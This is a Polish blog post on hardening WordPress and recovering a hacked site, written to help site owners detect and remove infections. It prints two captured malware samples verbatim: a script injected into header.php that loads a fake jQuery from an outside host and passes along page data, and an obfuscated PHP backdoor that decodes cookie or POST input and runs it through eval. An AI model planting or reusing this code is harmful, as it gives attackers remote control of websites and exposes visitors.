Infected-websites-platform-distribution

Najczęściej infekowane CMS’y, źródło: https://sucuri.net/website-security/website-hacked-report

 

WordPress jest najpopularniejszym, a co za tym idzie najczęściej hackowanym systemem CMS.

Joomla jest atakowana mniej więcej z podobną częstotliwością, ale obecnie popularność Joomli jest po prostu bardzo mała (w porównaniu np. do 2005 roku, kiedy Joomla wymiatała, a WP był małym wypierdkiem blogowym).

Główną przyczyną ataków na bloga jest najczęściej nieaktualizowanie WordPressa, wtyczek i motywów. Używanie starej wersji WP jest bardzo ryzykowne, zwłaszcza że na stronach takich jak np. wpvulndb.com lub exploit-db.com każdy może znaleźć informacje o dziurach w WP i jego dodatkach. Dlatego prowadząc stronę lub bloga zawsze warto zadbać o stałe aktualizacje skryptów.

Zabezpieczenie WordPressa

  1. Używaj zawsze aktualnej wersji WP i wszystkich wtyczek. Jeśli to możliwe, skorzystaj z automatycznej aktualizacji, możesz to zrobić za pomocą dodatkowych wtyczek, lub z poziomu serwera (gdy np. na Twoim hostingu jest DirectAdmin z Installatronem – warto z niego skorzystać 😉
  2. Nie korzystaj z płatnych templatek w wersji ‘nulled’ – 99% z nich działa, ale nigdy nie masz pewności, że grupa udostępniająca płatną templatkę za darmo nie dorzuciła czegoś od siebie..
  3. Usuń wszystkie wyłączone wtyczki i motywy których nie używasz – skoro ich nie używasz to i tak nie są Ci do niczego potrzebne, a trzymając je na serwerze będziesz musiał pamiętać o aktualizacji tego wszystkiego..
  4. Usuń pokazywanie wersji WP w źródle strony i pozbądź się wszystkich wordpressowych footprintów (domyślnie do wszystkich css i js dopisywana jest zmienna z wersją WP)
  5. Ustaw poprawnie nagłówki X-XSS-Protection i X-Frame-Options
  6. Ustaw białą listę (white-list) do strony wp-admina, dzięki czemu dostęp do niej będzie możliwy tylko z Polski (przydaje się zwłaszcza na stronach zapleczowych)
  7. Twórz regularne kopie bezpieczeństwa.

coming soon…

 

Jeśli jednak jest już za późno na zabezpieczenia, bo Twój blog został zaatakowany poniższy tekst jest dla Ciebie 😉

Co zrobić, aby naprawić WordPressa po ataku?

Jest wiele różnych opcji włamu na WordPressa. Czasami przydatne są wtyczki do wykrywania malware, można też od czasu do czasu przeskanować WP zewnętrznymi skanerami online. Najlepsza metoda to sprawdzenie plików na ftp.

Skanowanie strony na WP online: https://hackertarget.com/wordpress-security-scan/ (głównie frontend, sprawdza czy nie są dorzucone jakieś javascripty)

Jeśli strona została zaatakowana, to najszybciej przywrócimy ją do życia wgrywając kopię zapasową.  Najlepiej na czas naprawy zablokować wszystkim dostęp do naszej strony. Aby strona działała tylko dla nas w .htaccess na początku dodajemy:

Order allow,deny
Allow from 127.0.0.1

gdzie zamiast127.0.0.1wpisujemy nasz aktualny adres IP.

Następnie wgrywamy backup plików oraz bazy danych. Atak najprawdopodobniej był spowodowany dziurawymi skryptami, więc po wgraniu kopii zabieramy się za aktualizację wszystkiego (motywu, wtyczek i samego wordpressa). Gdy już wszystko będzie działać, warto zabezpieczyć naszego bloga. Po tych wszystkich czynnościach możemy skasować blokadę z .htaccess aby strona była dostępna dla wszystkich 🙂

 

Co warto sprawdzić?

plik header.php

otwieramy plik /wp-content/themes/nazwa-motywu/header.php i sprawdzamy czy przed zamknięciem </head> nie ma żadnego dziwnego kodu. W tym miejscu najczęściej dorzucany jest fake jquery, np. taki jak ten:

<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://morye.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'K85164' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>

Jest do wykrycia pluginami, które wyłapują Malware, np. w Sucuri Security w zakładce Malware Scan:

Sucuri-Security-Malware-Scan

Fake-jquery-wordpress

ten kodzik ładuje fejkową bibliotekę jQuery: *http://morye[dot]com/js/jquery.min.php* (później może np. zbierać dane do logowania itp.)

Listę użytkowników

czasem po włamie na WordPressa dodawany jest kolejny admin, dlatego warto sprawdzić listę użytkowników:

Użytkownik-z-uprawnieniami-admina

wp.service.controller.XVUP6 to użytkownik z uprawnieniami administratora, który został utworzony po włamaniu na WP

Oprócz tego warto przejrzeć wszystkie katalogi, czy nie ma tam jakichś dziwnie podejrzanie plików, np. takich jak te:

Syfy-wordpress

przykładowa zawartość pliku (po włamaniu z serwera wysyłany był spam):

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['z2f18e78'] = "\x7a\x5a\x67\x44\x65\x3e\x6d\x35\x56\x43\x36\x20\x47\x23\x59\x27\x5b\x77\x31\x68\x4a\x9\x62\x4d\x69\x6e\x7b\x2b\x6b\x74\x24\x3d\x75\x51\x39\xa\x60\x7c\x4e\x7e\x48\x64\x76\x40\x49\x3c\x3b\x29\x38\x57\x2a\x33\x58\x6a\x46\x4c\xd\x53\x63\x4f\x37\x30\x2c\x79\x5e\x78\x7d\x3a\x73\x70\x5f\x71\x72\x32\x2e\x21\x61\x34\x66\x5d\x55\x28\x6f\x41\x52\x54\x22\x6c\x4b\x2d\x45\x42\x26\x2f\x5c\x3f\x50\x25";
$GLOBALS[$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][48]] = $GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][19].$GLOBALS['z2f18e78'][72];
$GLOBALS[$GLOBALS['z2f18e78'][28].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][78]] = $GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][41];
$GLOBALS[$GLOBALS['z2f18e78'][63].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][34]] = $GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][29].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][87].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][25];
$GLOBALS[$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][73]] = $GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][25].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][29];
$GLOBALS[$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][60].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][60].$GLOBALS['z2f18e78'][76]] = $GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][87].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][0].$GLOBALS['z2f18e78'][4];
$GLOBALS[$GLOBALS['z2f18e78'][6].$GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][18].$GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][58]] = $GLOBALS['z2f18e78'][69].$GLOBALS['z2f18e78'][19].$GLOBALS['z2f18e78'][69].$GLOBALS['z2f18e78'][42].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][25];
$GLOBALS[$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][18].$GLOBALS['z2f18e78'][41]] = $GLOBALS['z2f18e78'][32].$GLOBALS['z2f18e78'][25].$GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][87].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][0].$GLOBALS['z2f18e78'][4];
$GLOBALS[$GLOBALS['z2f18e78'][25].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][60].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][7]] = $GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][10].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][4];
$GLOBALS[$GLOBALS['z2f18e78'][71].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][76]] = $GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][29].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][29].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][6].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][87].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][6].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][29];
$GLOBALS[$GLOBALS['z2f18e78'][17].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][78]] = $GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][34];
$GLOBALS[$GLOBALS['z2f18e78'][69].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][41]] = $GLOBALS['z2f18e78'][53].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][76];
$GLOBALS[$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][48]] = $_POST;
$GLOBALS[$GLOBALS['z2f18e78'][53].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][10]] = $_COOKIE;
@$GLOBALS[$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][73]]($GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][87].$GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][2], NULL);
@$GLOBALS[$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][73]]($GLOBALS['z2f18e78'][87].$GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][2].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][72].$GLOBALS['z2f18e78'][68], 0);
@$GLOBALS[$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][73]]($GLOBALS['z2f18e78'][6].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][65].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][65].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][32].$GLOBALS['z2f18e78'][29].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][82].$GLOBALS['z2f18e78'][25].$GLOBALS['z2f18e78'][70].$GLOBALS['z2f18e78'][29].$GLOBALS['z2f18e78'][24].$GLOBALS['z2f18e78'][6].$GLOBALS['z2f18e78'][4], 0);
@$GLOBALS[$GLOBALS['z2f18e78'][71].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][76]](0);

$ncbacb = NULL;
$zcf85 = NULL;

$GLOBALS[$GLOBALS['z2f18e78'][42].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][34]] = $GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][10].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][89].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][89].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][18].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][89].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][89].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][60];
global $vec28d9;

function j0dea($ncbacb, $hf1a7)
{
$ab31a = "";

for ($m41ad=0; $m41ad<$GLOBALS[$GLOBALS['z2f18e78'][63].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][34]]($ncbacb);)
{
for ($za5753=0; $za5753<$GLOBALS[$GLOBALS['z2f18e78'][63].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][34]]($hf1a7) && $m41ad<$GLOBALS[$GLOBALS['z2f18e78'][63].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][34]]($ncbacb); $za5753++, $m41ad++)
{
$ab31a .= $GLOBALS[$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][48]]($GLOBALS[$GLOBALS['z2f18e78'][28].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][78]]($ncbacb[$m41ad]) ^ $GLOBALS[$GLOBALS['z2f18e78'][28].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][78]]($hf1a7[$za5753]));
}
}

return $ab31a;
}

function eaa9($ncbacb, $hf1a7)
{
global $vec28d9;

return $GLOBALS[$GLOBALS['z2f18e78'][69].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][41]]($GLOBALS[$GLOBALS['z2f18e78'][69].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][41]]($ncbacb, $vec28d9), $hf1a7);
}

foreach ($GLOBALS[$GLOBALS['z2f18e78'][53].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][10]] as $hf1a7=>$fd52)
{
$ncbacb = $fd52;
$zcf85 = $hf1a7;
}

if (!$ncbacb)
{
foreach ($GLOBALS[$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][73].$GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][48]] as $hf1a7=>$fd52)
{
$ncbacb = $fd52;
$zcf85 = $hf1a7;
}
}

$ncbacb = @$GLOBALS[$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][58].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][18].$GLOBALS['z2f18e78'][41]]($GLOBALS[$GLOBALS['z2f18e78'][17].$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][78].$GLOBALS['z2f18e78'][78]]($GLOBALS[$GLOBALS['z2f18e78'][25].$GLOBALS['z2f18e78'][51].$GLOBALS['z2f18e78'][60].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][7]]($ncbacb), $zcf85));
if (isset($ncbacb[$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][28]]) && $vec28d9==$ncbacb[$GLOBALS['z2f18e78'][76].$GLOBALS['z2f18e78'][28]])
{
if ($ncbacb[$GLOBALS['z2f18e78'][76]] == $GLOBALS['z2f18e78'][24])
{
$m41ad = Array(
$GLOBALS['z2f18e78'][69].$GLOBALS['z2f18e78'][42] => @$GLOBALS[$GLOBALS['z2f18e78'][6].$GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][77].$GLOBALS['z2f18e78'][41].$GLOBALS['z2f18e78'][22].$GLOBALS['z2f18e78'][18].$GLOBALS['z2f18e78'][34].$GLOBALS['z2f18e78'][58]](),
$GLOBALS['z2f18e78'][68].$GLOBALS['z2f18e78'][42] => $GLOBALS['z2f18e78'][18].$GLOBALS['z2f18e78'][74].$GLOBALS['z2f18e78'][61].$GLOBALS['z2f18e78'][89].$GLOBALS['z2f18e78'][18],
);
echo @$GLOBALS[$GLOBALS['z2f18e78'][4].$GLOBALS['z2f18e78'][60].$GLOBALS['z2f18e78'][48].$GLOBALS['z2f18e78'][7].$GLOBALS['z2f18e78'][60].$GLOBALS['z2f18e78'][76]]($m41ad);
}
elseif ($ncbacb[$GLOBALS['z2f18e78'][76]] == $GLOBALS['z2f18e78'][4])
{
eval($ncbacb[$GLOBALS['z2f18e78'][41]]);
}
exit();
}

oprócz tego, że całość jest zakodowana, na końcu pliku występuje charakterystyczna funkcja eval.

Jeśli ktoś chce przejrzeć kilka zarażonych plików np. w celu zabezpieczenia, utworzenia filtrów w oprogramowaniu itp. to może pobrać paczkę: szkodliwe-kody-update.zip (są to pliki .php, które nie wyrządzą nic groźnego na komputerze), chyba wszystkie zgłosiłem jakiś czas temu na [email protected] i najczęściej są wykrywane jako Trojan.PHP.Agent.lt 😉